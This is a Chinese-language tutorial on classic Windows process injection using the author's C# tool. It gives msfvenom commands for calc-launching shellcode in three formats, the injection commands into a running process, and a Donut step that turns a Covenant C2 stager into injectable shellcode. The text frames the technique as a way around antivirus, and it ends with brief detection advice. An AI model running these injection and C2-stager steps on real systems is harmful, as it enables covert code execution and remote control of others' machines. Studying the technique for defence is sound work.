在前段时间,我发布文章Dumping Process Memory with Custom C# Code 后,我的好基友Himanshu建议写一篇相对简单的进程注入文章,以方便新手学习。并且他也写了一些关于Code Injection的文章,很好地阐述了普通的进程注入技术。
学习和理解进程注入技术的核心概念其实非常有趣,而且可以提升C#技术,目前我甚至可以编写Process Injection的工具。
进程注入是一种在某个单独的实时进程的地址空间中执行任意代码的方法。 在一个进程的上下文中运行特定代码,则有可能访问该进程的内存,系统或网络资源以及提升权限。 因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。
恶意软件通常利用进程注入访问系统的资源,然后进一步留下后门,实现持久性访问并且修改系统某些环境。 更复杂的样本可以通过命名管道(named pipes )或进程间通信(IPC)机制作为通信渠道,为了更好的规避检测,它们通常会有分段模块,执行多个进程注入。
有非常多种进程注入的方法。 在这篇文章中,我将介绍普通的进程注入,同时也会做一些演示。
我写了一个进程注入工具,放在我的github repo上。
在本文要分享的进程注入中,将会用到4个Windows API,利用可以注入shellcode到远程进程。
我会演示使用两种不同的工具来生成shellcode。
支持三种类型的shellcode格式:
首先尝试使用MSFVenom生成shellcode,并且将shellcode注入到远程进程。
注入Base64 shellcode到记事本
MSFVenom命令:
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" | base64
进程注入命令:
ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\base64.txt" /f:base64
Hex shellcode
MSFVenom命令:
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" -f hex
进程注入命令:
ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\hex.txt" /f:hex
C shellcode
MSFVenom命令:
msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" -f c
进程注入命令:
ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\c.txt" /f:c
考虑到Donut可以通过任意.NET程序集来生成shellcode,我们将使用Covenent C2框架生成初始有效负载:
在这篇文章中,我不会介绍Covenant的安装与使用。 你可以从wiki上参考有关信息,或者从BloodHound Gang Slack上获取帮助。
Donut
Covenant
下载covenant的二进制文件,编译安装后,使用Donut生成shellcode。
Donut命令:
.\donut.exe -f .\GruntStager.exe
进程注入命令:
.\ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\covenant.txt" /f:base64
本地监测
工具:Process Explorer
使用该工具可以监视Windows API的调用,例如CreateRemoteThread函数以及其他可通过其他进程修改内存的函数(例如WriteProcessMemory函数)。 同时,这个工具还可以监视当前的网络连接情况。
https://pwnrip.com/demystifying-code-injection-techniques-part-1-shellcode-injection/
https://thewover.github.io/Introducing-Donut/
https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf
https://attack.mitre.org/techniques/T1055/
https://github.com/TheWover/donut/tree/master/DonutTest